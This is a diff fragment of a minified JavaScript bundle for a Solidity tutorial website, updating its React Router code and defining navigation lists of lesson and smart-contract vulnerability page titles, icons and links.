s.UseBlocker="useBlocker",s.UseLoaderData="useLoaderData",s.UseActionData="useActionData",s.UseRouteError="useRouteError",s.UseNavigation="useNavigation",s.UseRouteLoaderData="useRouteLoaderData",s.UseMatches="useMatches",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s.UseRouteId="useRouteId",s}(dp||{});function Vd(s){let a=B.useContext(tt);return a||P(!1),a}function fd(s){let a=B.useContext(ud);return a||P(!1),a}function Yd(s){let a=B.useContext(An);return a||P(!1),a}function hg(s){let a=Yd(),n=a.matches[a.matches.length-1];return n.route.id||P(!1),n.route.id}function Xd(){var s;let a=B.useContext(rg),n=fd(dp.UseRouteError),l=hg(dp.UseRouteError);return a!==void 0?a:(s=n.errors)==null?void 0:s[l]}function Rd(){let{router:s}=Vd(gg.UseNavigateStable),a=hg(dp.UseNavigateStable),n=B.useRef(!1);return ig(()=>{n.current=!0}),B.useCallback(function(p,e){e===void 0&&(e={}),n.current&&(typeof p=="number"?s.navigate(p):s.navigate(p,el({fromRouteId:a},e)))},[s,a])}const Bo={};function vd(s,a,n){!a&&!Bo[s]&&(Bo[s]=!0)}function Ig(s){P(!1)}function Nd(s){let{basename:a="/",children:n=null,location:l,navigationType:p=oa.Pop,navigator:e,static:c=!1,future:t}=s;Np()&&P(!1);let o=a.replace(/^\/*/,"/"),i=B.useMemo(()=>({basename:o,navigator:e,static:c,future:el({v7_relativeSplatPath:!1},t)}),[o,t,e,c]);typeof l=="string"&&(l=jn(l));let{pathname:I="/",search:d="",hash:j="",state:u=null,key:m="default"}=l,b=B.useMemo(()=>{let Z=tg(I,o);return Z==null?null:{location:{pathname:Z,search:d,hash:j,state:u,key:m},navigationType:p}},[o,I,d,j,u,m,p]);return b==null?null:B.createElement(Rp.Provider,{value:i},B.createElement(vp.Provider,{children:n,value:b}))}function Hd(s){let{children:a,location:n}=s;return bd(oc(a),n)}new Promise(()=>{});function oc(s,a){a===void 0&&(a=[]);let n=[];return B.Children.forEach(s,(l,p)=>{if(!B.isValidElement(l))return;let e=[...a,p];if(l.type===B.Fragment){n.push.apply(n,oc(l.props.children,e));return}l.type!==Ig&&P(!1),!l.props.index||!l.props.children||P(!1);let c={id:l.props.id||e.join("-"),caseSensitive:l.props.caseSensitive,element:l.props.element,Component:l.props.Component,index:l.props.index,path:l.props.path,loader:l.props.loader,action:l.props.action,errorElement:l.props.errorElement,ErrorBoundary:l.props.ErrorBoundary,hasErrorBoundary:l.props.ErrorBoundary!=null||l.props.errorElement!=null,shouldRevalidate:l.props.shouldRevalidate,handle:l.props.handle,lazy:l.props.lazy};l.props.children&&(c.children=oc(l.props.children,e)),n.push(c)}),n}/** - * React Router DOM v6.22.3 + */function el(){return el=Object.assign?Object.assign.bind():function(s){for(var a=1;a{t.current=!0}),W.useCallback(function(i,I){if(I===void 0&&(I={}),!t.current)return;if(typeof i=="number"){l.go(i);return}let d=hd(i,JSON.parse(c),e,I.relative==="path");s==null&&a!=="/"&&(d.pathname=d.pathname==="/"?a:Xa([a,d.pathname])),(I.replace?l.replace:l.push)(d,I.state,I)},[a,l,c,e,s])}function bd(s,a){return wd(s,a)}function wd(s,a,n,l){Np()||P(!1);let{navigator:p}=W.useContext(vp),{matches:e}=W.useContext(An),c=e[e.length-1],t=c?c.params:{};c&&c.pathname;let o=c?c.pathnameBase:"/";c&&c.route;let i=Hp(),I;if(a){var d;let B=typeof a=="string"?jn(a):a;o==="/"||(d=B.pathname)!=null&&d.startsWith(o)||P(!1),I=B}else I=i;let j=I.pathname||"/",u=j;if(o!=="/"){let B=o.replace(/^\//,"").split("/");u="/"+j.replace(/^\//,"").split("/").slice(B.length).join("/")}let m=_I(s,{pathname:u}),b=Gd(m&&m.map(B=>Object.assign({},B,{params:Object.assign({},t,B.params),pathname:Xa([o,p.encodeLocation?p.encodeLocation(B.pathname).pathname:B.pathname]),pathnameBase:B.pathnameBase==="/"?o:Xa([o,p.encodeLocation?p.encodeLocation(B.pathnameBase).pathname:B.pathnameBase])})),e,n,l);return a&&b?W.createElement(Rp.Provider,{value:{location:el({pathname:"/",search:"",hash:"",state:null,key:"default"},I),navigationType:oa.Pop}},b):b}function kd(){let s=Xd(),a=jd(s)?s.status+" "+s.statusText:s instanceof Error?s.message:JSON.stringify(s),n=s instanceof Error?s.stack:null,p={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return W.createElement(W.Fragment,null,W.createElement("h2",null,"Unexpected Application Error!"),W.createElement("h3",{style:{fontStyle:"italic"}},a),n?W.createElement("pre",{style:p},n):null,null)}const Zd=W.createElement(kd,null);class Wd extends W.Component{constructor(a){super(a),this.state={location:a.location,revalidation:a.revalidation,error:a.error}}static getDerivedStateFromError(a){return{error:a}}static getDerivedStateFromProps(a,n){return n.location!==a.location||n.revalidation!=="idle"&&a.revalidation==="idle"?{error:a.error,location:a.location,revalidation:a.revalidation}:{error:a.error!==void 0?a.error:n.error,location:n.location,revalidation:a.revalidation||n.revalidation}}componentDidCatch(a,n){console.error("React Router caught the following error during render",a,n)}render(){return this.state.error!==void 0?W.createElement(An.Provider,{value:this.props.routeContext},W.createElement(tg.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function Bd(s){let{routeContext:a,match:n,children:l}=s,p=W.useContext(ot);return p&&p.static&&p.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(p.staticContext._deepestRenderedBoundaryId=n.route.id),W.createElement(An.Provider,{value:a},l)}function Gd(s,a,n,l){var p;if(a===void 0&&(a=[]),n===void 0&&(n=null),l===void 0&&(l=null),s==null){var e;if(!n)return null;if(n.errors)s=n.matches;else if((e=l)!=null&&e.v7_partialHydration&&a.length===0&&!n.initialized&&n.matches.length>0)s=n.matches;else return null}let c=s,t=(p=n)==null?void 0:p.errors;if(t!=null){let I=c.findIndex(d=>d.route.id&&(t==null?void 0:t[d.route.id])!==void 0);I>=0||P(!1),c=c.slice(0,Math.min(c.length,I+1))}let o=!1,i=-1;if(n&&l&&l.v7_partialHydration)for(let I=0;I=0?c=c.slice(0,i+1):c=[c[0]];break}}}return c.reduceRight((I,d,j)=>{let u,m=!1,b=null,B=null;n&&(u=t&&d.route.id?t[d.route.id]:void 0,b=d.route.errorElement||Zd,o&&(i<0&&j===0?(m=!0,B=null):i===j&&(m=!0,B=d.route.hydrateFallbackElement||null)));let h=a.concat(c.slice(0,j+1)),g=()=>{let C;return u?C=b:m?C=B:d.route.Component?C=W.createElement(d.route.Component,null):d.route.element?C=d.route.element:C=I,W.createElement(Bd,{match:d,routeContext:{outlet:I,matches:h,isDataRoute:n!=null},children:C})};return n&&(d.route.ErrorBoundary||d.route.errorElement||j===0)?W.createElement(Wd,{location:n.location,revalidation:n.revalidation,component:b,error:u,children:g(),routeContext:{outlet:null,matches:h,isDataRoute:!0}}):g()},null)}var rg=function(s){return s.UseBlocker="useBlocker",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s}(rg||{}),dp=function(s){return s.UseBlocker="useBlocker",s.UseLoaderData="useLoaderData",s.UseActionData="useActionData",s.UseRouteError="useRouteError",s.UseNavigation="useNavigation",s.UseRouteLoaderData="useRouteLoaderData",s.UseMatches="useMatches",s.UseRevalidator="useRevalidator",s.UseNavigateStable="useNavigate",s.UseRouteId="useRouteId",s}(dp||{});function Vd(s){let a=W.useContext(ot);return a||P(!1),a}function fd(s){let a=W.useContext(ud);return a||P(!1),a}function Yd(s){let a=W.useContext(An);return a||P(!1),a}function ig(s){let a=Yd(),n=a.matches[a.matches.length-1];return n.route.id||P(!1),n.route.id}function Xd(){var s;let a=W.useContext(tg),n=fd(dp.UseRouteError),l=ig(dp.UseRouteError);return a!==void 0?a:(s=n.errors)==null?void 0:s[l]}function vd(){let{router:s}=Vd(rg.UseNavigateStable),a=ig(dp.UseNavigateStable),n=W.useRef(!1);return og(()=>{n.current=!0}),W.useCallback(function(p,e){e===void 0&&(e={}),n.current&&(typeof p=="number"?s.navigate(p):s.navigate(p,el({fromRouteId:a},e)))},[s,a])}function gg(s){P(!1)}function Rd(s){let{basename:a="/",children:n=null,location:l,navigationType:p=oa.Pop,navigator:e,static:c=!1,future:t}=s;Np()&&P(!1);let o=a.replace(/^\/*/,"/"),i=W.useMemo(()=>({basename:o,navigator:e,static:c,future:el({v7_relativeSplatPath:!1},t)}),[o,t,e,c]);typeof l=="string"&&(l=jn(l));let{pathname:I="/",search:d="",hash:j="",state:u=null,key:m="default"}=l,b=W.useMemo(()=>{let B=eg(I,o);return B==null?null:{location:{pathname:B,search:d,hash:j,state:u,key:m},navigationType:p}},[o,I,d,j,u,m,p]);return b==null?null:W.createElement(vp.Provider,{value:i},W.createElement(Rp.Provider,{children:n,value:b}))}function Nd(s){let{children:a,location:n}=s;return bd(rc(a),n)}new Promise(()=>{});function rc(s,a){a===void 0&&(a=[]);let n=[];return W.Children.forEach(s,(l,p)=>{if(!W.isValidElement(l))return;let e=[...a,p];if(l.type===W.Fragment){n.push.apply(n,rc(l.props.children,e));return}l.type!==gg&&P(!1),!l.props.index||!l.props.children||P(!1);let c={id:l.props.id||e.join("-"),caseSensitive:l.props.caseSensitive,element:l.props.element,Component:l.props.Component,index:l.props.index,path:l.props.path,loader:l.props.loader,action:l.props.action,errorElement:l.props.errorElement,ErrorBoundary:l.props.ErrorBoundary,hasErrorBoundary:l.props.ErrorBoundary!=null||l.props.errorElement!=null,shouldRevalidate:l.props.shouldRevalidate,handle:l.props.handle,lazy:l.props.lazy};l.props.children&&(c.children=rc(l.props.children,e)),n.push(c)}),n}/** + * React Router DOM v6.26.1 * * Copyright (c) Remix Software Inc. * @@ -64,7 +64,7 @@ Error generating stack: `+e.message+` * LICENSE.md file in the root directory of this source tree. * * @license MIT - */function rc(s){return s===void 0&&(s=""),new URLSearchParams(typeof s=="string"||Array.isArray(s)||s instanceof URLSearchParams?s:Object.keys(s).reduce((a,n)=>{let l=s[n];return a.concat(Array.isArray(l)?l.map(p=>[n,p]):[[n,l]])},[]))}function Fd(s,a){let n=rc(s);return a&&a.forEach((l,p)=>{n.has(p)||a.getAll(p).forEach(e=>{n.append(p,e)})}),n}const Kd="6";try{window.__reactRouterVersion=Kd}catch{}const Md="startTransition",Go=Hg[Md];function Sd(s){let{basename:a,children:n,future:l,window:p}=s,e=B.useRef();e.current==null&&(e.current=TI({window:p,v5Compat:!0}));let c=e.current,[t,o]=B.useState({action:c.action,location:c.location}),{v7_startTransition:i}=l||{},I=B.useCallback(d=>{i&&Go?Go(()=>o(d)):o(d)},[o,i]);return B.useLayoutEffect(()=>c.listen(I),[c,I]),B.createElement(Nd,{basename:a,children:n,location:t.location,navigationType:t.action,navigator:c,future:l})}var Vo;(function(s){s.UseScrollRestoration="useScrollRestoration",s.UseSubmit="useSubmit",s.UseSubmitFetcher="useSubmitFetcher",s.UseFetcher="useFetcher",s.useViewTransitionState="useViewTransitionState"})(Vo||(Vo={}));var fo;(function(s){s.UseFetcher="useFetcher",s.UseFetchers="useFetchers",s.UseScrollRestoration="useScrollRestoration"})(fo||(fo={}));function xd(s){let a=B.useRef(rc(s)),n=B.useRef(!1),l=Hp(),p=B.useMemo(()=>Fd(l.search,n.current?null:a.current),[l.search]),e=yd(),c=B.useCallback((t,o)=>{const i=rc(typeof t=="function"?t(p):t);n.current=!0,e("?"+i,o)},[e,p]);return[p,c]}const Jd="_component_nqcni_1",zd="_sideNav_nqcni_6",Dd="_main_nqcni_13",Ed="_children_nqcni_21",Xl={component:Jd,sideNav:zd,main:Dd,children:Ed},Qd="_list_1ltry_1",Td="_title_1ltry_6",Ud="_listItem_1ltry_11",_d="_listItemActive_1ltry_18",Ld="_link_1ltry_26",xa={list:Qd,title:Td,listItem:Ud,listItemActive:_d,link:Ld},Od=[{lang:"Armenian",url:"https://pranatech.org/solidity-by-example-hy/"},{lang:"Persian",url:"https://solidifa.ir/solidity-by-example/"},{lang:"Persian",url:"https://siblearn.dev/solidity-by-example"},{lang:"Spanish",url:"https://github.com/lcadafalch/solidity_attacks"},{lang:"Simplified Chinese",url:"https://github.com/Web3-Club/solidity-by-example_Chinese"}],Pd=[{path:"hello-world",title:"Hello World"},{path:"first-app",title:"First App"},{path:"primitives",title:"Primitive Data Types"},{path:"variables",title:"Variables"},{path:"constants",title:"Constants"},{path:"immutable",title:"Immutable"},{path:"state-variables",title:"Reading and Writing to a State Variable"},{path:"ether-units",title:"Ether and Wei"},{path:"gas",title:"Gas and Gas Price"},{path:"if-else",title:"If / Else"},{path:"loop",title:"For and While Loop"},{path:"mapping",title:"Mapping"},{path:"array",title:"Array"},{path:"enum",title:"Enum"},{path:"structs",title:"Structs"},{path:"data-locations",title:"Data Locations - Storage, Memory and Calldata"},{path:"transient-storage",title:"Transient Storage"},{path:"function",title:"Function"},{path:"view-and-pure-functions",title:"View and Pure Functions"},{path:"error",title:"Error"},{path:"function-modifier",title:"Function Modifier"},{path:"events",title:"Events"},{path:"events-advanced",title:"Events Advanced"},{path:"constructor",title:"Constructor"},{path:"inheritance",title:"Inheritance"},{path:"shadowing-inherited-state-variables",title:"Shadowing Inherited State Variables"},{path:"super",title:"Calling Parent Contracts"},{path:"visibility",title:"Visibility"},{path:"interface",title:"Interface"},{path:"payable",title:"Payable"},{path:"sending-ether",title:"Sending Ether - Transfer, Send, and Call"},{path:"fallback",title:"Fallback"},{path:"call",title:"Call"},{path:"delegatecall",title:"Delegatecall"},{path:"function-selector",title:"Function Selector"},{path:"calling-contract",title:"Calling Other Contract"},{path:"new-contract",title:"Creating Contracts from a Contract"},{path:"try-catch",title:"Try / Catch"},{path:"import",title:"Import"},{path:"library",title:"Library"},{path:"abi-encode",title:"ABI Encode"},{path:"abi-decode",title:"ABI Decode"},{path:"hashing",title:"Hashing with Keccak256"},{path:"signature",title:"Verifying Signature"},{path:"gas-golf",title:"Gas Optimizations"},{path:"bitwise",title:"Bitwise Operators"},{path:"unchecked-math",title:"Unchecked Math"},{path:"assembly-variable",title:"Assembly Variable"},{path:"assembly-if",title:"Assembly Conditional Statements"},{path:"assembly-loop",title:"Assembly Loop"},{path:"assembly-error",title:"Assembly Error"},{path:"assembly-math",title:"Assembly Math"}],$d=[{path:"ether-wallet",title:"Ether Wallet"},{path:"multi-sig-wallet",title:"Multi Sig Wallet"},{path:"merkle-tree",title:"Merkle Tree"},{path:"iterable-mapping",title:"Iterable Mapping"},{path:"erc20",title:"ERC20"},{path:"erc721",title:"ERC721"},{path:"erc1155",title:"ERC1155"},{path:"gasless-token-transfer",title:"Gasless Token Transfer"},{path:"simple-bytecode-contract",title:"Simple Bytecode Contract"},{path:"create2",title:"Precompute Contract Address with Create2"},{path:"minimal-proxy",title:"Minimal Proxy Contract"},{path:"upgradeable-proxy",title:"Upgradeable Proxy"},{path:"deploy-any-contract",title:"Deploy Any Contract"},{path:"write-to-any-slot",title:"Write to Any Slot"},{path:"uni-directional-payment-channel",title:"Uni-directional Payment Channel"},{path:"bi-directional-payment-channel",title:"Bi-directional Payment Channel"},{path:"english-auction",title:"English Auction"},{path:"dutch-auction",title:"Dutch Auction"},{path:"crowd-fund",title:"Crowd Fund"},{path:"multi-call",title:"Multi Call"},{path:"multi-delegatecall",title:"Multi Delegatecall"},{path:"time-lock",title:"Time Lock"},{path:"assembly-bin-exp",title:"Assembly Binary Exponentiation"},{path:"airdrop",title:"Merkle Airdrop"}],qd=[{path:"re-entrancy",title:"Re-Entrancy"},{path:"overflow",title:"Arithmetic Overflow and Underflow"},{path:"self-destruct",title:"Self Destruct"},{path:"accessing-private-data",title:"Accessing Private Data"},{path:"delegatecall",title:"Delegatecall"},{path:"randomness",title:"Source of Randomness"},{path:"denial-of-service",title:"Denial of Service"},{path:"phishing-with-tx-origin",title:"Phishing with tx.origin"},{path:"hiding-malicious-code-with-external-contract",title:"Hiding Malicious Code with External Contract"},{path:"honeypot",title:"Honeypot"},{path:"front-running",title:"Front Running"},{path:"block-timestamp-manipulation",title:"Block Timestamp Manipulation"},{path:"signature-replay",title:"Signature Replay"},{path:"contract-size",title:"Bypass Contract Size Check"},{path:"deploy-different-contracts-same-address",title:"Deploy Different Contracts at Same Address"},{path:"vault-inflation",title:"Vault Inflation Attack"},{path:"weth-permit",title:"WETH Permit"}],sC=[{path:"storage",title:"EVM Storage Layout"},{path:"memory",title:"EVM Memory Layout"}],aC=[{path:"echidna",title:"Echidna"}],nC=[{path:"uniswap-v2",title:"Uniswap V2 Swap"},{path:"uniswap-v2-add-remove-liquidity",title:"Uniswap V2 Add Remove Liquidity"},{path:"uniswap-v2-optimal-one-sided-supply",title:"Uniswap V2 Optimal One Sided Supply"},{path:"uniswap-v2-flash-swap",title:"Uniswap V2 Flash Swap"},{path:"uniswap-v3-swap",title:"Uniswap V3 Swap"},{path:"uniswap-v3-liquidity",title:"Uniswap V3 Liquidity"},{path:"uniswap-v3-flash",title:"Uniswap V3 Flash Loan"},{path:"uniswap-v3-flash-swap",title:"Uniswap V3 Flash Swap Arbitrage"},{path:"chainlink-price-oracle",title:"Chainlink Price Oracle"},{path:"dai-proxy",title:"DAI Proxy"},{path:"staking-rewards",title:"Staking Rewards"},{path:"discrete-staking-rewards",title:"Discrete Staking Rewards"},{path:"vault",title:"Vault"},{path:"constant-sum-amm",title:"Constant Sum AMM"},{path:"constant-product-amm",title:"Constant Product AMM"},{path:"stable-swap-amm",title:"Stable Swap AMM"}],ot=[{title:"",routes:Pd.map(s=>({...s,path:`/${s.path}`}))},{title:"Applications",routes:$d.map(s=>({...s,path:`/app/${s.path}`}))},{title:"Hacks",routes:qd.map(s=>({...s,path:`/hacks/${s.path}`}))},{title:"EVM",routes:sC.map(s=>({...s,path:`/evm/${s.path}`}))},{title:"Tests",routes:aC.map(s=>({...s,path:`/tests/${s.path}`}))},{title:"DeFi",routes:nC.map(s=>({...s,path:`/defi/${s.path}`}))}],Cp=ot.map(({routes:s})=>s).flat(),lC=Cp.reduce((s,a,n)=>(s[a.path]=n,s),{});function pC(s){const a=lC[s];if(a>=0){const n=Cp[a-1]||null,l=Cp[a+1]||null;return{prev:n,next:l}}return{prev:null,next:null}}const eC=({onClick:s})=>{const a=Hp();function n(l,p){l.preventDefault(),s(p)}return r.jsxs(r.Fragment,{children:[r.jsx("h3",{className:xa.category,children:"Basic"}),ot.map(({routes:l,title:p},e)=>r.jsxs("div",{children:[p&&r.jsx("h3",{className:xa.title,children:p}),r.jsx("ul",{className:xa.list,children:l.map(({path:c,title:t})=>{const o=!!cg(c,a.pathname);return r.jsx("li",{className:o?xa.listItemActive:xa.listItem,children:r.jsx("a",{className:xa.link,href:c,onClick:i=>n(i,c),children:t})},c)})})]},e))]})},cC=({size:s,className:a="",onClick:n})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 20 20",strokeWidth:2,stroke:"currentColor",className:a,width:s,height:s,onClick:n,children:r.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6.75h16.5M3.75 12h16.5m-16.5 5.25h16.5"})}),tC="_component_15x91_1",oC="_a_15x91_13",rC="_center_15x91_16",iC="_logo_15x91_21",gC="_header_15x91_24",hC="_mode_15x91_28",IC="_hamburger_15x91_33",aa={component:tC,a:oC,center:rC,logo:iC,header:gC,mode:hC,hamburger:IC},dC=({size:s,className:a=""})=>r.jsx("svg",{xmlns:"http://www.w3.org/2000/svg",fill:"#fff",viewBox:"0 0 438.277 438.277",width:s,height:s,className:a,children:r.jsx("path",{d:"M428.756 300.104c-.664-3.81-2.334-7.047-4.996-9.713-5.9-5.903-12.752-7.142-20.554-3.716-20.937 9.708-42.641 14.558-65.097 14.558-28.171 0-54.152-6.94-77.943-20.838-23.791-13.894-42.631-32.736-56.525-56.53-13.899-23.793-20.844-49.773-20.844-77.945 0-21.888 4.333-42.683 12.991-62.384 8.66-19.7 21.176-36.973 37.543-51.82 6.283-5.898 7.713-12.752 4.287-20.557-3.236-7.801-9.041-11.511-17.415-11.132-29.121 1.141-56.72 7.664-82.797 19.556C111.33 31.478 88.917 47.13 70.168 66.548c-18.747 19.414-33.595 42.399-44.54 68.95-10.942 26.553-16.416 54.39-16.416 83.511 0 29.694 5.806 58.054 17.416 85.082 11.613 27.028 27.218 50.344 46.824 69.949 19.604 19.599 42.92 35.207 69.951 46.822 27.028 11.607 55.384 17.415 85.075 17.415 42.64 0 81.987-11.563 118.054-34.69 36.069-23.124 63.05-54.006 80.944-92.645 1.524-3.423 1.951-7.036 1.28-10.838zm-122.191 84.064c-24.646 11.711-50.676 17.562-78.087 17.562-24.743 0-48.39-4.853-70.947-14.558-22.554-9.705-41.971-22.695-58.246-38.972-16.271-16.272-29.259-35.686-38.97-58.241-9.707-22.556-14.561-46.203-14.561-70.948 0-40.922 12.135-77.466 36.403-109.636 24.266-32.165 55.531-53.959 93.788-65.379-19.795 31.405-29.694 65.379-29.694 101.926 0 34.644 8.564 66.715 25.697 96.223 17.128 29.499 40.446 52.811 69.95 69.948 29.499 17.129 61.565 25.694 96.211 25.694 10.656 0 21.129-.855 31.408-2.57-17.318 20.938-38.307 37.255-62.952 48.951z"})}),CC=({size:s,className:a=""})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 302.4 302.4",width:s,height:s,className:a,children:[r.jsx("path",{d:"M204.8 97.6C191.2 84 172 75.2 151.2 75.2s-40 8.4-53.6 22.4c-13.6 13.6-22.4 32.8-22.4 53.6s8.8 40 22.4 53.6c13.6 13.6 32.8 22.4 53.6 22.4s40-8.4 53.6-22.4c13.6-13.6 22.4-32.8 22.4-53.6s-8.4-40-22.4-53.6zm-14.4 92.8c-10 10-24 16-39.2 16s-29.2-6-39.2-16-16-24-16-39.2 6-29.2 16-39.2 24-16 39.2-16 29.2 6 39.2 16 16 24 16 39.2-6 29.2-16 39.2z",stroke:"#252519",strokeWidth:12}),r.jsx("path",{d:"M292 140.8h-30.8c-5.6 0-10.4 4.8-10.4 10.4 0 5.6 4.8 10.4 10.4 10.4H292c5.6 0 10.4-4.8 10.4-10.4 0-5.6-4.8-10.4-10.4-10.4zm-140.8 110c-5.6 0-10.4 4.8-10.4 10.4V292c0 5.6 4.8 10.4 10.4 10.4 5.6 0 10.4-4.8 10.4-10.4v-30.8c0-5.6-4.8-10.4-10.4-10.4zm106.8-7.2-22-22c-3.6-4-10.4-4-14.4 0s-4 10.4 0 14.4l22 22c4 4 10.4 4 14.4 0s4-10.4 0-14.4zM151.2 0c-5.6 0-10.4 4.8-10.4 10.4v30.8c0 5.6 4.8 10.4 10.4 10.4 5.6 0 10.4-4.8 10.4-10.4V10.4c0-5.6-4.8-10.4-10.4-10.4zm107.2 44.4c-4-4-10.4-4-14.4 0l-22 22c-4 4-4 10.4 0 14.4 3.6 4 10.4 4 14.4 0l22-22c4-4 4-10.4 0-14.4zM41.2 140.8H10.4c-5.6 0-10.4 4.8-10.4 10.4s4.4 10.4 10.4 10.4h30.8c5.6 0 10.4-4.8 10.4-10.4 0-5.6-4.8-10.4-10.4-10.4zm39.2 80.8c-3.6-4-10.4-4-14.4 0l-22 22c-4 4-4 10.4 0 14.4s10.4 4 14.4 0l22-22c4-4 4-10.4 0-14.4zm0-155.2-22-22c-4-4-10.4-4-14.4 0s-4 10.4 0 14.4l22 22c4 4 10.4 4 14.4 0s4-10.4 0-14.4z",stroke:"#252519",strokeWidth:5})]}),jC=({size:s,className:a="",fill:n})=>r.jsxs("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 1300 1300",xmlSpace:"preserve",width:s,height:s,className:a,fill:n,children:[r.jsx("path",{opacity:.45,d:"M773.772 253.308 643.068 485.61H381.842l130.614-232.302h261.316"}),r.jsx("path",{opacity:.6,d:"M643.068 485.61h261.318L773.772 253.308H512.456L643.068 485.61z"}),r.jsx("path",{opacity:.8,d:"M512.456 717.822 643.068 485.61 512.456 253.308 381.842 485.61l130.614 232.212z"}),r.jsx("path",{opacity:.45,d:"m513.721 1066.275 130.704-232.303h261.318l-130.705 232.303H513.721"}),r.jsx("path",{opacity:.6,d:"M644.424 833.973H383.107l130.613 232.303h261.317L644.424 833.973z"}),r.jsx("path",{opacity:.8,d:"M775.038 601.761 644.424 833.973l130.614 232.303 130.704-232.303-130.704-232.212z"})]});function AC(){const{state:s,setTheme:a,toggleSideNav:n}=ct();function l(){a(s.theme=="light"?"dark":"light")}return r.jsxs("div",{className:aa.component,children:[r.jsx(cC,{size:20,className:aa.hamburger,onClick:n}),r.jsxs("div",{className:aa.center,children:[r.jsx("a",{href:"/",className:aa.a,children:r.jsx(jC,{className:aa.logo,size:30,fill:s.theme=="dark"?"rgb(0, 255, 0)":"currentColor"})}),r.jsx("h3",{className:aa.header,children:r.jsx("a",{href:"/",className:aa.a,children:"Solidity by Example"})})]}),r.jsx("button",{className:aa.mode,onClick:l,children:s.theme=="dark"?r.jsx(dC,{size:20}):r.jsx(CC,{size:20})})]})}const dg="https://cryptojobslist.com/solidity",uC="_component_h47vh_1",yC="_row_h47vh_8",mC="_bar_h47vh_13",bC="_to_h47vh_21",wC="_social_h47vh_24",kC="_sce_h47vh_29",ZC="_telegram_h47vh_34",WC="_discord_h47vh_38",BC="_youTube_h47vh_42",Is={component:uC,row:yC,bar:mC,to:bC,social:wC,sce:kC,telegram:ZC,discord:WC,youTube:BC},GC="data:image/png;base64,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